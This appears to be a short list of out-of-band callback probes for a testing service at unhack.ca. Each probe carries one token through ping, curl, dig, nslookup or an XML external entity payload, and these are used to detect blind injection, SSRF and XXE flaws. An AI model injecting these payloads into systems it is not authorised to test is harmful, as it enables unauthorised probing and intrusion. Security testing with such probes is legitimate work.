$ ping -c1 -p 00fbae3c5c4718b57fe184beaeea8100 unhack.ca
 

$ curl http://unhack.ca/p/fbae3c5c4718b57fe184beaeea81
 

$ dig fbae3c5c4718b57fe184beaeea81 @unhack.ca
 

$ dig fbae3c5c4718b57fe184beaeea81.ns.unhack.ca
 

C:\> nslookup fbae3c5c4718b57fe184beaeea81 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fbae3c5c4718b57fe184beaeea81">]>
    <foo>&xxe;</foo>